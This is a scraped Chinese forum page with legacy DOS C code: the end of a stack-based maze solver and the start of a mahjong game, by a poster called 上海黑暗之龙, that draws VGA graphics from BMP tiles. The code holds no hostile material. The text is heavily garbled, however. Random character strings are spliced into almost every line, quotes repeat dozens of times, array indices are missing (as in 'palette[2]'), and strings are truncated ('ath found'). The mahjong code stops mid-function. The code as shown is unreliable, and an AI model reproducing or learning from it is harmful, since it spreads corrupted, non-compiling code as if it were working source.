void MarkPrint(PosType seat)
( W4 y! G& u& [# `. S! z/* Mark the position seat. */
6 J3 }. ?6 t+ j! _* T{
$ g" y7 y& w& o" W! ^/ xmaze[seat.x][seat.y].mark=-1;, \! H' z; a0 |4 _
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
+ [% [" u5 F0 l1 g+ ~- F+ k: E' W} /* MarkPrint */
9 @9 x' Q( j3 e8 E  fvoid FootPrint(PosType curpos)# Y, @& }$ E0 c: a- E. {. |+ N- @5 W
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
& k$ V: @6 Y2 x. \3 g3 r3 S{
: n; k& q0 D! X% S0 Q: Emaze[curpos.x][curpos.y].foot=1;
6 y) x: h1 p- x} /* FootPrint */# d% F: C: ]. J0 R' e
PosType NextPos(PosType seat,int di)5 L" _( R2 X! H  v; ]7 B6 @) i
{
* M4 k- Y6 s6 @- u4 q# K6 sswitch(di)
7 S- B8 U! ~: c) H% o{
+ S  Q+ j0 W: ?- t1 v- Ncase 1: seat.y++; return seat; /* Eastward */4 F5 i2 [" W4 _8 {; d
case 2: seat.x++; return seat; /* Southward */9 [/ Y( F  L5 ?; k
case 3: seat.y--; return seat; /* Westward */: @  D8 {* G2 o( S
case 4: seat.x--; return seat; /* Northward */  o" ^* {$ H( }/ B) X0 w7 t
default: seat.x=0; seat.y=0; return seat;
4 i) u0 u: ^( Y( r& w9 K}8 Z6 X) I+ o7 V' R4 @2 w0 T3 d
} /* NextPos */
: {' _7 x7 K; Y: h4 O$ x  S$ o  y! [3 \7 D% h% l
/* The key to the program. */0 c! i6 \3 I& }5 Y# f% o
/* Pre: The maze array &amp; the startplace &amp; the endplace.- n; A/ U+ @& x- n) l/ _* B# c
Post: Find the one traverse of the maze and perform the mazepath.
8 z- D0 E9 T8 `0 g/ S7 xUses: The ADT stack class.
. v! W% y0 ?/ u3 f3 ~. q*/
, y! q, h' r3 F9 x5 j$ VStatus MazePath(PosType start,PosType end)
9 }; P8 j6 H3 t( }( W{% ~: q" o2 a, S
PosType curpos;
4 T) e. B2 G# \; d! z2 T5 N' z4 ]int curstep;
1 l9 L4 P6 H" o( zSElemType e;
) Q# P& l: {" t' Q7 GStack *s,stack;
; C* T" ^# a# n. m" P; O7 ^+ Rstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));& J) _6 ^2 H9 `3 b) [! K3 q
if(!stack.base) Error("Overflow");, M4 B! I) j9 K; N: p) o
stack.top=stack.base;& e/ z2 X, o% C7 c) o/ ?' m& N1 ]
stack.stacksize=STACK_INIT_SIZE;. k0 Y7 P5 R& U  w
s=&amp;stack;
/ n5 }* p0 [# a7 Zcurpos=start;, e0 h7 K5 t& g+ q
curstep=1;+ H6 r. u( B/ E, y4 u; L: u+ O
do- Q! `) N; w5 k6 t
{
6 N  M" w  i7 @3 q) mif(Pass(curpos))  e" c0 l8 x3 T9 Y4 @
{
3 t$ m  i4 C3 G, y. w- ~FootPrint(curpos);
7 d% ^& u0 Z  Z+ @3 L  ve.ord=curstep; e.seat=curpos; e.di=1;+ Q) n% U, w! ]7 }1 Z
gotoxy((curpos.y+1)*2,curpos.x+2);
- D7 N' ~  q; _$ `! pputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');4 U% N2 F, F) V+ M# @
delay(8000); /* pospone time. */
6 n* U# E7 c# j8 T+ `Push(s,e);/ l& v5 |+ \. ]
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
: I7 B& g/ g7 t4 X( Y) s& n{5 g9 j) r5 n) @# h  B- u
DestroyStack(s);
9 j$ Q2 m' s3 A, v4 w! qreturn TRUE;
8 F+ U' \' D: T( P}2 I9 e! X8 N4 j( W, Y
curpos=NextPos(curpos,1); /* Try next position. */; r2 _8 N7 `" A  Y: g1 i& G$ n  |- f
curstep++;
! f5 B) `$ p5 m4 ^! T}/ d8 R. S9 D/ l% @; f* p
else
, t, K2 Q: ?; ~6 ]  ]6 d{
0 n: \3 [3 ~- g+ d. r% A0 U8 L% iif(!StackEmpty(s))
6 f( v( K/ S  \  M# X3 m{
1 c# J6 l8 g* _9 O( k- Re=Pop(s,e); /* Removed e from s. */1 y2 K! \: T3 T: O$ f
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
9 b5 o' P6 A8 q$ _* {- gand s is not empty. */. L4 c, m. k0 I$ `% w( `. W
{
, ^) W  \& O) XMarkPrint(e.seat);
% p+ t8 h- q. n5 Agotoxy((e.seat.y+1)*2,e.seat.x+2);
& C. u1 S+ e) ]2 P5 @! Eputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');0 {9 N) U* ?3 [: C
delay(8000); /* Pospone time. */5 }! [( ^* v" a( j7 J. B
gotoxy((e.seat.y+1)*2,e.seat.x+2);
  d' ]( V2 d9 o% Q( Lputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');& X# [+ H: h3 X* U. L7 S
e=Pop(s,e); /* Remove e from s. */
' V" h6 v) c! ?1 N7 C4 z2 D: mcurstep--;
5 `7 e) O) b: w6 T}" V. Y5 Q; G% Q2 w: D- B
if(e.di&lt;4) /* The current position hasnot been checked. *// U* U& y0 [. D4 I1 Q9 S. J. m7 \
{8 R+ s2 @" v6 @0 q: y
e.di++;
6 @: Y7 ^( I1 w% x' nPush(s,e); /* Insert e into s. */( _( O6 v3 g' V
curpos=NextPos(e.seat,e.di); /* Try next position. */
1 P' R1 i. c6 e, e5 W* s; v& F}6 s5 ^5 e* W8 |
}
$ V' B: H! z/ t& ]# j}
4 z1 {% {  \  q$ M, T. G}8 {! P( V1 _/ i& e5 O- A2 ~1 `* T
while(!StackEmpty(s));$ i$ u* T& l) ~7 C( E
DestroyStack(s);
( z, k* X) ~! N3 @1 F: Breturn FALSE;- D+ J) i: U  t  N, h) B
} /* MazePath */
' q# N$ |5 ~: D# ^void main()) u+ L- W" q2 A
{
6 F( [% B2 B0 D. X9 U8 z# dPosType start,end;6 ^* W  X7 L: M) K0 J
CreatMaze();
. X# Y. ~0 W9 }start.x=StartPlace.y;# I: d6 l/ I1 J5 x3 q% }' ~
start.y=StartPlace.x;
1 q; |" F# p2 C) `4 ~end.x=EndPlace.y;
  T) m) U6 t( m( K/ B2 K5 hend.y=EndPlace.x;8 F: @* F' k2 ^
if(MazePath(start,end))
6 N( n) i* c$ y2 @1 @& y7 l{6 X& O2 x8 A5 |- y1 S+ p! \
gotoxy(2,22);' ]( T5 d) f4 }+ z4 |, a/ B, v
printf("ath found\n");' d0 }1 k. d/ r6 t  V% D
}
5 g" q5 F" `' Aelse
1 V% x4 ?/ ~$ i7 _0 s{9 i7 s5 l3 t; o2 A
gotoxy(2,22);4 z" i  J' E2 z$ Z$ a
printf("ath not found\n");! {* @: _5 R5 ?3 ^! Z1 t
}
3 H( r& K) ?8 K2 vgetch();" r7 _  T# p) }4 C9 h. i
clrscr();
$ l+ ^# p4 e/ c& E% ]- B} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
9 y; `, Z/ z- B/*天宇软件
- {5 Q7 K1 _& A/ ?作者:上海黑暗之龙
7 M% @: `3 Y5 {. i8 y2002/10/30! W% u0 _- g: I
麻将原代码*/7 w$ L8 a, a& E, U4 g$ C% ~
#include "dos.h"
9 X8 w( J5 r# [2 |4 P#include "stdio.h"
, d  c7 j# n& R: x! a2 m#include "graphics.h". J8 B- s- N3 C" y! }& c" \
#include "bios.h"$ A* ]3 N, c0 l& t7 d
#include "conio.h"
' I5 `# I8 w+ g: u* W4 b#include "stdlib.h"
+ p$ n/ f$ Z% b" G, uunsigned char far *video_buffer=(char far *)0xA0000000L;1 H$ W# t. x# F: F1 ~, L
#define VGA256 0x13 /*图形模式13h*/5 M7 t6 b" [3 m7 w4 _
#define TEXT_MODE 0x03 /*普通文本模式*/
- O% [5 F5 r7 R7 d#define SETVGA Set_Video_Mode(VGA256)
6 j: W5 |7 g( l7 u#define OUTVGA Set_Video_Mode(TEXT_MODE), b8 ~7 B9 O. R4 B+ l
#define BYTE unsigned char
9 x+ q9 W) k# s7 O9 @8 T9 E#define WORD unsigned int
8 T7 A0 M( C0 T& _2 A#define DWORD unsigned int0 @0 ?! M2 e/ H! u4 T$ O
#define ESC 2836 z3 ?+ U$ n* T, w
#define LEFT 19200
. `. ]  e; X' U$ z. p4 J- R$ s#define RIGHT 19712( C8 m! y; L  y8 k% X, R2 n  H
#define H 9064
' N0 H8 u$ a# |3 y4 g#define ENTER 7181
' L0 a' l8 P3 u( Nunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;( [6 ]/ {2 G- u* k7 p
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
4 L' i" c& Y- ]( [% _. x2 Lstruct chi
0 ]1 w' ^& T9 i! O{( ?, m4 h) X+ u! H6 O3 x# D! w9 L
int lg;
# T) n. K* m% B, x6 @int lgg;! \  q, J! _7 [+ Z' E
}ch[13];
8 S  n7 p5 |  [9 g$ m; vstruct mj
) x4 r. r/ t, Y5 [$ w{ char *name; /*名字*/' f1 @+ l6 {1 p$ X% U/ x, v
int data1; /*是否已出,无用了*/
5 t: r- S5 M) Q+ ^$ w7 }( h* w' C1 I  }int data2; /*是否在手中,1为自己,2为对方*/. J$ A+ L! Q  K! L
int number; /*同一个花色的第几张,共4张*/& O  Z0 }( `. S
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
5 R9 o$ q7 T7 h* C"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
0 v$ f% Z9 J1 A3 I% C- V, A3 w"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,* d7 D% B' L# o  M& ^1 ^
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
4 y5 g' F+ e. ^4 e* Q"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,/ l8 Z; X. ]9 L$ W0 J5 K! p
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
2 _* |5 k' _$ ?' d, i: T/ {3 j"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
7 b; ]1 {  i' n8 s"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,' K% u3 V- s! k. [+ T$ i! B) U- H$ c
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,# P; }: R+ f* s* ~1 s' D# X5 a  }
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
3 R0 h/ r( M. l7 S; e8 q"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,; |' G/ G* N5 A) L: c8 [! [
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
) L; }. Y4 p3 ]8 N; ?" b/ D3 b* L"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,+ W! H; `7 B6 F6 T  q( J
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
" Q* |1 u4 f6 }$ Q, R"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,& _) [6 l" W  n
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
6 \, e; Y* Y" R( ]9 V"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
4 v" g6 j- x. v& J6 L, L"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,6 D" D. u, P0 r, U& ?" }
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,- C. y7 {5 P' ]( S
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
; }  {& C) W& \+ {"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,0 y+ p7 I+ W' N# {
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
( P+ t, z, C) W! C7 d"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
- G: L- c" a2 H7 [' F- H2 z- k"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,$ I) K" C  [0 q; d5 U, }
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,) {- m& `1 R% B: w+ P- \3 [
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
9 f& r2 ~1 A6 H4 k"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,/ i4 F& {* |2 z- O
"34.bmp"};& s8 K5 a, f& @' [$ V
struct every) k5 p/ g+ G  O( _' K) a
{ int *k; /*名字*/
5 y! l7 Z+ q; G" ?' bint oneorfour; /*同一张牌的第几张*/; Z7 @7 w% d5 t" ^$ c. H: t; @6 ^
int number; /*第几张牌136*/
; T$ X1 q. [3 l# `2 l3 I  _int p;
/ M+ ^% v' q# F, ]. g3 i) Oint g;& {9 q! y- N" E0 B; G% `5 l
int c;
5 n6 s! o! A0 W% p  E, J0 uint d[2];, B4 H% s5 _' K% [! u7 n  M& @0 `
};: `" F4 S; b* M
struct me) O2 w# d; h4 r  `
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/: m' t! ~* l3 A# Q, T
int p; /*乓对方*/
0 w# x4 ]& U6 T$ N( f& {2 gint c; /*吃对方*/- r7 q4 n6 l6 X3 x1 W
int g; /*杠*/
- h& z/ P( D) Z/ Y- e
+ C5 U. Q7 s3 l3 L" i1 b+ g  Fstruct every pp[14]; /*存放手上的牌*/  v  s( ?7 J$ ?3 O
}me;
# {* U6 q& _( C& I: J" C$ {* d/ Sstruct computer9 e$ o3 B" X/ F. R- g
{ int m;
% W+ ~" ]% t" [$ w# Vint p;
- i5 e+ t, a9 s" ~int c;
8 L9 ?3 M  M: s# v( Rint g;0 i5 p/ ], H* I' X  V, y6 a
struct every pp[14];
6 P0 B4 l0 f, \1 P1 }# E}computer,comp;; e8 n2 E. m1 E
" G1 @; r+ o8 \/ x
/* 设置调色板 */1 a/ \' Z; D1 \' N* _
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)" G% T& n) l/ R# w
{
6 O9 F# y+ e* Y* o* z7 a$ b0 voutportb(0x3c8,Color); /*0x3c8写端口 写色号*/! v) h. h* p4 E) I2 o) V& e
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/1 n: K) M9 l8 H5 c" s
outportb(0x3c9,g);  l$ k& d' w- X" L9 J' f0 S
outportb(0x3c9,b);' z  V( M/ A  |5 R2 o# O( O
}
/ R' }, R) s- j0 b5 ^1 S/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
0 X9 {% h% ^/ q1 u" A: P0 L5 y/* 设置显示模式的函数 */
& y! e1 j. S- b0 d  M6 `void Set_Video_Mode(int mode)! K' a; k1 _+ ]% M* Z# B& m% M
{, V+ q0 ~' ~* `0 ]+ l$ F4 L! |
union REGS inregs,outregs; /*定义输入和返回寄存器*/
3 g7 I1 J6 e( U, \* jinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/% a- u# F1 u+ g: z" d
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
5 U4 t7 T& b$ _! _4 Iint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/5 k& X; ]9 w( Y7 x
}
; ~  X0 b1 h. e* ~/ `9 d8 t+ \$ pvoid v_line(int y0,int y1,int x,unsigned int color)
5 {  S6 g7 O5 q. @% w$ n. s. X3 ~{ unsigned int address,n,temp;
) u1 x3 N4 Z0 o. d" o7 v6 i3 |if(y0&gt;y1)7 `2 z" X" ^& A
{
$ M* y" g# t2 i' ~temp=y1;+ t! H* f( R/ B6 D* \4 Z1 g
y1=y0;0 X. }' d! K/ k; h
y0=temp;
4 Q) C- v5 @3 ]}
' T- W6 Y+ ^& L! faddress=320*y0+x;
9 L6 x4 |' ^+ o/ b7 ~- a8 T& |for(n=0;n&lt;=y1-y0;n++)- Z7 ^: e6 w; K
{
, Z. `) x: K: v- X, V* Q. Ivideo_buffer[address]=color;/ M8 T( z' ^: H
address+=320;
6 S1 C1 r7 f7 S4 D6 P}
2 ?, V5 H! v5 F1 v  B}
1 }+ D+ b: m# \: h; n# w( \, m3 |void h_line(int x0,int x1,int y,unsigned int color)
4 l- y9 k0 q9 z{ unsigned int address,n,temp;, Y1 @. M9 q/ z3 O2 ?; k
if(x0&gt;x1)5 E7 p3 ?5 `* `; y+ t
{* V/ p7 w/ O" F2 x1 S6 }6 s- H
temp=x1;/ D$ W9 D3 f5 C& e4 Q8 f( R
x1=x0;
. n' K/ V! G( W) m+ Nx0=temp;2 V# o0 M# @# \) P2 `* |! |  |
}) ^" V$ b* m8 Z' ~" `* n
address=320*y+x0;6 R; k' N6 x. S5 f2 R
for(n=0;n&lt;=x1-x0;n++); o5 ?- i: P  B+ v( a; w0 ^- S
{
4 o$ D. ^3 U3 a2 Tvideo_buffer[address]=color;& |% w0 ~, Z, K( p/ V, W5 c  \; r9 y% V
address+=1;
* t' V3 b6 |% z+ j}
0 d% J( g, M' E7 h0 ]% s}/ @; C8 a" M6 K% D
void p_pixel(int x,int y,unsigned int color)7 [* ^+ T1 y- D4 b, d7 C' Q; w
{ video_buffer[y*320+x]=color;" V: d( N; r0 R  n7 {  J* g
}
! R( ~- c  Z( c  D6 v9 Jvoid s_square(int x,int y,int side,int color)' Y* c& [- j) C4 F3 }  c
{
' c8 M" Q# O: D- T" a. h- ^4 ~h_line(x,x+side,y,color);9 J' ~  e" p2 A' b
h_line(x,x+side,y+side,color);( x2 ~3 m8 t) g) \
v_line(y,y+side,x,color);- b1 Z1 D% ~! w& g% a1 v0 b0 u+ y
v_line(y,y+side,x+side,color);
8 a! |4 C8 a  E3 E' C}
" V! c, g! k0 b# x7 C( i: n% dvoid r_rectangle(int x1,int y1,int x2,int y2,int color)2 E7 y5 f. k. ?  ?1 k, W7 i
{
& W# o2 e. L; F/ v5 S* ~$ h/ |. ?( th_line(x1,x2,y1,color);1 [# I- Y4 _. @4 ^. l8 v4 q
h_line(x1,x2,y2,color);. ?3 g# f) @- F( D% F. p; a0 C
v_line(y1,y2,x1,color);" L8 a: W( K/ Q7 Z+ Y
v_line(y1,y2,x2,color);
) h; J" {: p, e}0 _& C+ T7 s0 v
void fillRectangle(int x1,int y1,int x2,int y2,int color), o* ~$ n# j2 t( i0 w1 z
{
# H, r! D0 d% f1 y- nint i;7 C* ]* O% N' N# U  X' G0 P
for(i=y1;i&lt;=y2;i++)
2 F, Z  T( N* ]( S0 E) w$ B: [{
0 n6 x  Z' I8 o3 Jh_line(x1,x2,i,color);
+ X; o* e. O" g5 I9 W5 h% A}
7 ]% i0 I7 y! Y. P+ h( P}2 ^- L+ w3 x% p7 a2 x6 I
void showbmp(int l)5 y3 D) m, v& o, S3 A5 @5 `. l7 m
{ FILE *bmp;
1 y2 P1 s" A% m1 I1 jint i,x,y;9 ^" j/ C, r8 Q! Z- s. M3 z( `5 ]
BYTE palette[256][3];, N- u2 u  ]" t9 [7 }
bmp=fopen(me.pp[l].k,"rb");/ F0 v$ m8 N0 h8 j+ s6 H
fseek(bmp,54,SEEK_SET);/ D# x# l& N* `( l% _: t
for(i=0;i&lt;256;i++)$ h! U% N$ X$ D; u& C
{
2 x/ z2 z( y  _palette[2]=fgetc(bmp)&gt;&gt;2;
% s1 r1 _- y  e" Xpalette[1]=fgetc(bmp)&gt;&gt;2;
2 H& }. X. ^0 ]' r8 Z" Apalette[0]=fgetc(bmp)&gt;&gt;2;9 a9 n+ E" n- Y
fgetc(bmp);# Y: Q" ]% T$ L2 {$ D
Set_Palette(i,palette[0],palette[1],palette[2]);5 [! r( c; W2 |+ @, R9 f; ~7 D
}
3 [: O, O; `8 i- }* u4 K4 T; c1 dfor (y=0;y&lt;30;y++)8 X8 @# \6 }/ A8 k" Z! [8 f" [
for(x=0;x&lt;20;x++)
& @. h( A6 Y( g) d" Opokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
* s/ G, z6 L7 T! b. jfclose(bmp);9 ^1 I: x5 r4 U4 }) R6 B7 V# Q% G/ ^
}
- X# ^$ k. [( Q' y/ k% vvoid showbmpd(int l)  O9 l" A  ^3 c) ^
{ FILE *bmp;" x( O2 _, b; `6 R0 m* s1 h
int i,x,y;( D* r" Y5 u' u. ]
BYTE palette[256][3];. x. O# v0 N  E9 l2 B6 ^
bmp=fopen(me.pp[l].k,"rb");
) R" v9 U# d8 i' j: gfseek(bmp,54,SEEK_SET);: Y# E( ]' H2 {( T: |
for(i=0;i&lt;256;i++)
" h2 b6 }/ y  g0 k{
) ?2 V$ R' _) y% l8 `3 k! fpalette[2]=fgetc(bmp)&gt;&gt;2;4 D( Q5 e+ F0 ~3 B8 k1 K! w
palette[1]=fgetc(bmp)&gt;&gt;2;
8 W) J) A; |, O+ r4 y) }palette[0]=fgetc(bmp)&gt;&gt;2;, R, H+ s/ T; U2 V* }
fgetc(bmp);
- P( |% m! ^9 B* S9 RSet_Palette(i,palette[0],palette[1],palette[2]);
) Z( R& J6 H4 D  l}2 ^& [. c- C: w. t  _4 f" ]3 H
for (y=0;y&lt;30;y++)& B, }, V6 p+ w3 E( e( R2 W
for(x=0;x&lt;20;x++)2 E) x" s, b7 A/ N- W! c  O( M
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));: x7 P$ T4 P  H+ N; e$ Z  }# U) K
fclose(bmp);
7 I: z9 O# J  o. n}5 C. K1 |, A; P" Q  `$ N- s  U' h$ m
void showybmp(int ll)8 I7 \, y* V6 R  N# U# j
{ FILE *bmp;: d3 T& E6 @5 D" L! M. [+ k
int i,x,y;
& K2 [& e: k6 A3 g$ t  l) MBYTE palette[256][3];
, l. k6 ]2 Z" o8 o9 Xbmp=fopen(computer.pp[ll].k,"rb");
2 y4 Y. Z$ n: A( c$ Jfseek(bmp,54,SEEK_SET);/ w$ r/ T" N- Q( [- d' Q. T& N" j& L
for(i=0;i&lt;256;i++)
1 q8 `- O: S$ c: |$ \{
, ~8 f# K% u' B+ ?+ E2 R  Gpalette[2]=fgetc(bmp)&gt;&gt;2;
, J. K2 g7 ]: u# dpalette[1]=fgetc(bmp)&gt;&gt;2;
$ F6 S6 h/ L0 w7 R7 z( e, T; Vpalette[0]=fgetc(bmp)&gt;&gt;2;. t: w! C2 X3 R) R
fgetc(bmp);
0 D% Z% D0 p# W) g7 Y. SSet_Palette(i,palette[0],palette[1],palette[2]);9 k6 y) h: B( c' s5 |
}5 X7 g6 ]/ G0 U( a; c
for (y=0;y&lt;30;y++)4 Z  H8 {9 k7 g* _+ F
for(x=0;x&lt;20;x++)
, L- E9 y. ~1 Rpokeb(0xa000,y*320+x+zy,fgetc(bmp));  C0 c+ D+ g1 [4 ^2 n
fclose(bmp);
5 w2 |( }% P! {' ?# X1 {}
9 H3 X/ P8 D# B, @1 Z% Ivoid showcbmp(int ll)
% {0 N. D3 p! R* ~{ FILE *bmp;
; v; A% }7 K% g, A% j4 r  V) Sint i,x,y;$ W2 g/ x  E1 ?1 `9 J
BYTE palette[256][3];1 E0 j. z7 p: {( _
bmp=fopen(computer.pp[ll].k,"rb");
5 s3 ]7 T5 h% u/ A* W& G7 Ufseek(bmp,54,SEEK_SET);$ G0 e  K% _2 C
for(i=0;i&lt;256;i++)
7 a$ U; ?; g# s4 u1 z2 p9 b{5 k" g% _* U" k- y) g3 r
palette[2]=fgetc(bmp)&gt;&gt;2;
3 m( x$ k2 I1 L3 S9 \palette[1]=fgetc(bmp)&gt;&gt;2;
$ y4 G, E" f" L( U3 mpalette[0]=fgetc(bmp)&gt;&gt;2;3 d' }. `! L6 {# G, c0 e0 i" v
fgetc(bmp);
* M9 ?/ y5 J/ [" u  GSet_Palette(i,palette[0],palette[1],palette[2]);
2 E0 X7 X1 W! I# v' L}
8 s: Y" s: R9 p4 P0 Q, V% o- ]for (y=0;y&lt;30;y++); j" i5 P7 p. d" C/ \* T
for(x=0;x&lt;20;x++)/ P+ d+ E4 K" q* A! N3 y6 u
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
5 U% ^( m' n0 q5 e$ [+ A! Lfclose(bmp);
8 m5 ^2 {1 D! H1 C}
! a, T( d1 \9 Ivoid bmpp(int number)6 x: g) v$ W( C& `( H
{ FILE *bmp;( y! r: N$ `( k2 \' k9 F
int i,x,y;; w8 t/ p! R+ H$ |) Y
BYTE palette[256][3];
) c* s4 Q. l5 H1 sbmp=fopen(m[number].name,"rb");
, e( Q  ~8 }+ _. K0 @% A: V* X+ P8 Nfseek(bmp,54,SEEK_SET);  v) ~! i$ s' R7 }: C6 i
for(i=0;i&lt;256;i++)) [: Y" r3 G& o$ E+ h7 f( H
{
8 {7 ?1 Z# {5 |, `6 q, M5 Ppalette[2]=fgetc(bmp)&gt;&gt;2;
' o+ O: ?) t- I( ^palette[1]=fgetc(bmp)&gt;&gt;2;7 K/ P0 H9 }0 c' h* S* ~% `& T9 |
palette[0]=fgetc(bmp)&gt;&gt;2;
$ J6 ^, A6 r5 sfgetc(bmp);" b( y, ]  I" d- ^' \
Set_Palette(i,palette[0],palette[1],palette[2]);
9 C* U- Q9 y  P, o# c}
( w9 k8 s& ^7 l) z0 f. xfor (y=0;y&lt;30;y++)% m- _8 A9 F! k* E
for(x=0;x&lt;20;x++)
& C, Z9 Z; B" I4 e) _, Wpokeb(0xa000,y*320+x+zl,fgetc(bmp));
2 y  h: z& c2 s: @fclose(bmp);9 p* ?5 c# d: S8 X  |2 w, k
}
5 s$ B* Q9 b7 {4 z1 V( ?void comlipai() /*整理电脑的牌*/" v4 F1 w) G: {9 B" @: C
{ int n,j,u;
0 J1 q* `: e) B& oint *lingshi;; S) Z2 D8 G2 v7 V8 A  r
for(n=0;n&lt;computer.m;n++)" e+ t$ T: M6 B* L8 R, y/ `
for(j=n;j&lt;computer.m;j++)
8 e/ [0 j0 n; H1 P+ t& e{
! {+ h7 J8 w" m& ?, x3 x; [+ Kif(computer.pp[n].number&gt;computer.pp[j+1].number)- W8 V9 ~4 h2 O: C& D9 a
{
& N% z4 _& J& w2 D; {) ]- llingshi=computer.pp[n].k;% A( A, U/ t0 c4 v; ^9 J
computer.pp[n].k=computer.pp[j+1].k;
$ y/ ]0 {9 _+ |9 n% ccomputer.pp[j+1].k=lingshi;7 K/ |+ j: N$ |5 O0 U
u=computer.pp[n].oneorfour;  j& x$ x/ C2 K; p" [
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;( T+ @5 v7 R  C, L9 V5 B* V
computer.pp[j+1].oneorfour=u;
7 p/ _1 c& P8 J" e, e. Q! }u=computer.pp[n].number;
' H3 s+ ~& \/ Acomputer.pp[n].number=computer.pp[j+1].number;8 B4 P/ b0 `0 U0 {2 p* _4 p+ m
computer.pp[j+1].number=u;
1 J( Y) h; z  T$ W3 R}
3 {( q5 p6 Y- {) {else
3 ?; _7 \: M$ x% p& @) |2 Sif(computer.pp[n].number==computer.pp[j+1].number)
5 X- k! m( @7 e1 Eif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
, T5 I+ R+ V, `$ t{2 k! J) Q! ^! @
lingshi=computer.pp[n].k;. J9 X7 S0 [, J
computer.pp[n].k=computer.pp[j+1].k;  r* x, A1 Z- R8 B7 U; ^
computer.pp[j+1].k=lingshi;
7 e2 A! ^6 C0 a. }- zu=computer.pp[n].oneorfour;
" {, V2 a# m0 _. ^; ^- Qcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
/ G5 n1 j9 l! i: }computer.pp[j+1].oneorfour=u;
( n) u9 s, E9 ?/ v+ bu=computer.pp[n].number;
1 X" @: H! E+ i& ~0 O+ Ncomputer.pp[n].number=computer.pp[j+1].number;4 c1 s# x3 D$ q6 R2 ?: _6 N
computer.pp[j+1].number=u;
